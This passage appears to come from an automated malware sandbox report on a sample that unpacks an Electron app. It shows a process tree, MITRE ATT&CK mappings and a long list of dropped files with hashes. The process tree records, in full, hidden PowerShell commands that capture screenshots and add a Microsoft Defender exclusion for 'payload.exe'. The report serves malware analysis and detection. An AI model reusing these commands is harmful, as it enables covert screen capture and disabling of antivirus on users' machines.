                                PID:5640
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283295913.png\"); $g.Dispose(); $bmp.Dispose()""
                              3⤵
                              • Hide Artifacts: Hidden Window
                              • Suspicious use of WriteProcessMemory
                              PID:5428
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283295913.png\"); $g.Dispose(); $bmp.Dispose()"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3216
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe' -ErrorAction SilentlyContinue""
                              3⤵
                              • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                              • Hide Artifacts: Hidden Window
                              • Hide Artifacts: Ignore Process Interrupts
                              • Suspicious use of WriteProcessMemory
                              PID:5772
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe' -ErrorAction SilentlyContinue"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3264
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283296887.png\"); $g.Dispose(); $bmp.Dispose()""
                              3⤵
                              • Hide Artifacts: Hidden Window
                              • Suspicious use of WriteProcessMemory
                              PID:4200
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283296887.png\"); $g.Dispose(); $bmp.Dispose()"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5572
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283317706.png\"); $g.Dispose(); $bmp.Dispose()""
                              3⤵
                              • Hide Artifacts: Hidden Window
                              • Suspicious use of WriteProcessMemory
                              PID:840
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283317706.png\"); $g.Dispose(); $bmp.Dispose()"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1484
                        • C:\Windows\system32\sihost.exe
                          sihost.exe
                          1⤵
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of WriteProcessMemory
                          PID:5784
                          • C:\Windows\explorer.exe
                            explorer.exe /LOADSAVEDWINDOWS
                            2⤵
                            • Boot or Logon Autostart Execution: Active Setup
                            • Enumerates connected drives
                            • Checks SCSI registry key(s)
                            • Modifies Internet Explorer settings
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            • Suspicious use of SetWindowsHookEx
                            PID:5964
                        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                          1⤵
                          • Modifies registry class
                          • Suspicious use of SetWindowsHookEx
                          PID:4468
                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                          1⤵
                          • Modifies registry class
                          • Suspicious use of SetWindowsHookEx
                          PID:2384

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              1
                              T1059

                              PowerShell

                              1
                              T1059.001

                              Persistence

                              Boot or Logon Autostart Execution

                              1
                              T1547

                              Active Setup

                              1
                              T1547.014

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              1
                              T1547

                              Active Setup

                              1
                              T1547.014

                              Defense Evasion

                              Hide Artifacts

                              3
                              T1564

                              File/Path Exclusions

                              1
                              T1564.012

                              Hidden Window

                              1
                              T1564.003

                              Ignore Process Interrupts

                              1
                              T1564.011

                              Impair Defenses

                              2
                              T1562

                              Disable or Modify Tools

                              2
                              T1562.001

                              Modify Registry

                              3
                              T1112

                              Obfuscated Files or Information

                              1
                              T1027

                              Command Obfuscation

                              1
                              T1027.010

                              Credential Access

                              Discovery

                              Peripheral Device Discovery

                              2
                              T1120

                              Query Registry

                              3
                              T1012

                              System Information Discovery

                              3
                              T1082

                              System Location Discovery

                              1
                              T1614

                              System Language Discovery

                              1
                              T1614.001

                              Lateral Movement

                              Collection

                              Command and Control

                              Exfiltration

                              Impact

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              StartupProfileData-NonInteractive
                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 7d177b4e6a0f1f654b1bce833ad731828bb5bb8922840f755312233a03da9f33
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 b699e97f0868b0b8ae799388aa2d95ea7363a34f2e9cf5a6685ff4d17df64f11
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              StartupProfileData-NonInteractive
                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 1KB
                              • SHA256 93746591aee5a68b3a791c94769319e8c2acd783161fa0281688e8e1ee61bfdf
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              prep_Activatable Class_Hermes_perf.cache
                              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                              • Size 595B
                              • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              __PSScriptPolicyTest_zodcie40.bfq.ps1
                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zodcie40.bfq.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              LICENSE.electron.txt
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\LICENSE.electron.txt
                              • Size 1KB
                              • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              LICENSES.chromium.html
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\LICENSES.chromium.html
                              • Size 8.7MB
                              • SHA256 ad35e72893910d6f6ed20f4916457417af05b94ab5204c435c35f66a058d156b
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              chrome_100_percent.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\chrome_100_percent.pak
                              • Size 150KB
                              • SHA256 49aff5690cb9b0f54f831351aa0f64416ba180a0c4891a859fa7294e81e9c8e3
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              chrome_200_percent.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\chrome_200_percent.pak
                              • Size 229KB
                              • SHA256 4d5b51f720f7d3146e131c54a6f75e4e826c61b2ff15c8955f6d6dd15bedf106
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              d3dcompiler_47.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\d3dcompiler_47.dll
                              • Size 4.7MB
                              • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ffmpeg.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\ffmpeg.dll
                              • Size 2.7MB
                              • SHA256 11daf2bf89a3ac660533b3e487e0624668b35f45d2bd94e9b0324bce8758de60
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              icudtl.dat
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\icudtl.dat
                              • Size 10.2MB
                              • SHA256 7bf96c193befbf23514401f8f6568076450ade52dd1595b85e4dfcf3de5f6fb9
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              libEGL.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\libEGL.dll
                              • Size 468KB
                              • SHA256 a4336a318e8d92a47843d5fe429dc6d1ff7271d8bac189d719bc8074a128fd6e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              libGLESv2.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\libGLESv2.dll
                              • Size 7.3MB
                              • SHA256 7b0baa9e2e731716efe3e0bebf6a0bcd2d64f35d9f62b20d23acb4e098c9be36
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              af.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\af.pak
                              • Size 478KB
                              • SHA256 e36a906908a92dad39ad8e5b344b38c538574e35c5386ac2b901640b202d3228
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              am.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\am.pak
                              • Size 776KB
                              • SHA256 1847f8517d8f26c856adbf08df3996d5f3b7ab61378199c138346bfe29675f01
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ar.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ar.pak
                              • Size 851KB
                              • SHA256 04e83274dec0274dccbd97dabcefe3174ea1da5b62b5d24e047e2036b93f3482
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              bg.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\bg.pak
                              • Size 885KB
                              • SHA256 24c09721c3cb4f3fe7eb403113375257197bed808295c6b85532409b6664db45
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              bn.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\bn.pak
                              • Size 1.1MB
                              • SHA256 bf2fa4c57095e0be63e8cd1ae6d2389d6417a91d8c9e1970eeee5363c46f0d27
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ca.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ca.pak
                              • Size 538KB
                              • SHA256 f4da114b473c34e0946b12289f6e802fcede2f66013d4f184c729a1f8ae7350e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              cs.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\cs.pak
                              • Size 555KB
                              • SHA256 5635587f6ffb152c027b4357092fe78168e31cbc7f6be694c627f819c1ad1d73
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              da.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\da.pak
                              • Size 501KB
                              • SHA256 0c75acb008dd5c918d8a1a73c22fa7c503961481bf1708f6bda0da58693c3c08
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              de.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\de.pak
                              • Size 536KB
                              • SHA256 e33ea8240835cc775a9e88942aa2905d17cef84929602fd2c4f26f33f9bdc52a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              el.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\el.pak
                              • Size 971KB
                              • SHA256 f1e01eeb90c0842f7af927f65d034fc93fdbcbcb9b9ea7e31c79761c316c8fb8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              en-GB.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\en-GB.pak
                              • Size 436KB
                              • SHA256 ad460425c88be889d6d6a9b69d0b6f64e2e957bf8ac4f230de4d25340c75ba87
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              en-US.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\en-US.pak
                              • Size 440KB
                              • SHA256 20be1732675fedf380010b09936ed65c71bb761d0a05732215ef0795b5aba606
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              es-419.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\es-419.pak
                              • Size 530KB
                              • SHA256 06d13ffc791bb7189f5afbb166b1dc2bcf9309f04b68e4f16baacd4b3f625021
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              es.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\es.pak
                              • Size 530KB
                              • SHA256 77aa01763c114b75a83de3c34c60497b1ca23c98523f58a43c76aae7380ab3b6
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              et.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\et.pak
                              • Size 481KB
                              • SHA256 ac1431e61f8c6c56ef96860dc8a8ddf840dbf6965af6b920d811b7e39adab6b1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              fa.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\fa.pak
                              • Size 789KB
                              • SHA256 d77aadacdb5b72345c68590ece6463efcdd4e8817fe3dedad98d64f132b8e48f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              fi.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\fi.pak
                              • Size 492KB
                              • SHA256 ae902ab57a1325d4f0a0a1c69790f28f5e49b5671a99c4c315367b4425d1de97
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              fil.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\fil.pak
                              • Size 556KB
                              • SHA256 a30015021fb928bcf16f9409fb45fb89ca3d196bafb3597df3fe4a9e477a3fd9
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              fr.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\fr.pak
                              • Size 574KB
                              • SHA256 c22e274fbc4a033cb8a9a4e9a96f82487dc671ec0ad49b3257939d2a8a751442
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              gu.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\gu.pak
                              • Size 1.1MB
                              • SHA256 7b06f3b7040901e7dbd2884ba534d43e73013ce0677bc725d53bccd54759ad5e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              he.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\he.pak
                              • Size 691KB
                              • SHA256 d71c98ed9ef2aaf13033332dcd40f41785656c156d41614916353daa3ea5f2a7
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              hi.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\hi.pak
                              • Size 1.2MB
                              • SHA256 352f833b4f936369216eeaa1f8c5e652b34a36cc143ff9a872b0608e4e88957c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              hr.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\hr.pak
                              • Size 535KB
                              • SHA256 f882072827c75a5c046e29cc4e2468a41cb786199045b58550e978272d338fe8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              hu.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\hu.pak
                              • Size 576KB
                              • SHA256 e806294a2d609a514dfa416a07625fb2f173018bb2e278323f752efc459c39f8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              id.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\id.pak
                              • Size 475KB
                              • SHA256 c8e30f0c11d78c7d603df40bf6e9b2fe896eb36a8eee27d9621a537545b2f609
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              it.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\it.pak
                              • Size 523KB
                              • SHA256 89d7ec12aa52d5f2298d3fddfa24439bd89031c4341f1d2b9900a2e46664f7d8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ja.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ja.pak
                              • Size 639KB
                              • SHA256 4c34aafd5794886a4d091c4f4a97642bb9f199b90203d904e14e503fc3edb845
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              kn.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\kn.pak
                              • Size 1.3MB
                              • SHA256 eb1bd5b8f89b9e9b568912455ad3b8a791f3370a34411e6fc982a661cc1b05ad
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ko.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ko.pak
                              • Size 540KB
                              • SHA256 87f8003e7fe90a487c1007a626d30b8a77feb54e627d3fe365ddb6a66a7e4ac4
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              lt.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\lt.pak
                              • Size 580KB
                              • SHA256 95253deae9554317c60490a982a4d310c87238096e3bad0329e8bf4c944cbaed
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              lv.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\lv.pak
                              • Size 579KB
                              • SHA256 54541c9adee8711c3d391b67b2081214166621212a670b0f2d633d1e2623a757
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ml.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ml.pak
                              • Size 1.3MB
                              • SHA256 957b57bac9d8a927be5cfbb74d23dcf69cf2678ecd4fcf2158a391f7a02fea87
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              mr.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\mr.pak
                              • Size 1.1MB
                              • SHA256 bf42c87554153b83e53ed8b839a74a50e893abda190d7ddd73521cc6d121dfa7
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ms.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ms.pak
                              • Size 498KB
                              • SHA256 280ae72f9fb328d6b9e0baa5c27157e7e5bf0ebf699ebeac597da0ed4f670776
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              nb.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\nb.pak
                              • Size 483KB
                              • SHA256 1a35a4e5348ca851adec4ea1c666d56750d39174a35d74ab87cd061abe063bf3
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              nl.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\nl.pak
                              • Size 499KB
                              • SHA256 9b46eec8a0b0b568ddc35387ca02c2116baa7520efb04d92325fec17d5091353
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              pl.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\pl.pak
                              • Size 557KB
                              • SHA256 c8f76ef189d14a0c75407dc40348cd9171f5997a94a4961d86152cea2258ecf6
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              pt-BR.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\pt-BR.pak
                              • Size 524KB
                              • SHA256 3ef0114eaf2268262cd594bfe33b56b24fb416d23d6fd125a9ae022d8eceaa99
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              pt-PT.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\pt-PT.pak
                              • Size 527KB
                              • SHA256 b9439000c1c75565c2f223612079a51971ac54a3786d5b631f20436447929465
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ro.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ro.pak
                              • Size 546KB
                              • SHA256 5e5d1cde0fceb570c20e7485b32f0ef7ad59569b93574fcbbc7aead4906e7d14
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ru.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ru.pak
                              • Size 897KB
                              • SHA256 07dbeee5a0b9c6c978d1c593db5dd6152003fa12170a8189bdde77908d826dcf
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              sk.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\sk.pak
                              • Size 563KB
                              • SHA256 be66b2442b5b4a6dc28a14545e2c4a0bc7f9e6547a89f974d7b8a63525c1855f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              sl.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\sl.pak
                              • Size 541KB
                              • SHA256 8095ce45373d8de8dd243fec034643060cbff67a48fa81414e31a0b9327eefc4
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              sr.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\sr.pak
                              • Size 833KB
                              • SHA256 a50c82c0db17e2aa4a62068ca2b210fd9847d32bf2134d6d5af1fc4b7050091a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              sv.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\sv.pak
                              • Size 486KB
                              • SHA256 a615c0756155436781f8e8543d4b4163b7d96cbdf58ba86ddce8b39c5b7a17c8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              sw.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\sw.pak
                              • Size 512KB
                              • SHA256 ecc84d9a40448772697c14f27b1297fcdce12df30d008a7d4149a6aa587d85a8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ta.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ta.pak
                              • Size 1.3MB
                              • SHA256 3c8dce29bcf2b60bcc273229afca64eb07a73c729d0d20e35455cc5d933e9a69
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              te.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\te.pak
                              • Size 1.2MB
                              • SHA256 7f28d607ed94e339b677cd5556202fb60f7e801e74af16397ef610c7302f6957
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              th.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\th.pak
                              • Size 1.0MB
                              • SHA256 f5118ca292c570e69972ff8a7a81940a98dbf4519532ceff133488a329825f78
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              tr.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\tr.pak
                              • Size 523KB
                              • SHA256 0fd794b314d12652ca5c1986795a00bd0116b44a3163d2ea0b26560e3ad23eee
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              uk.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\uk.pak
                              • Size 896KB
                              • SHA256 ef7ffd8792b482829f31924241e6bd12dccdfdf404a0781bb28747c308649c0a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              ur.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\ur.pak
                              • Size 782KB
                              • SHA256 2e0b43afa9c69288586ed404564ee2f420a87ff7936bdb48efbf21ce8f58f468
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              vi.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\vi.pak
                              • Size 619KB
                              • SHA256 030d29bfc26f9f08db13455c0d635f33b0315905d27d030d9f7813dadd899603
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              zh-CN.pak
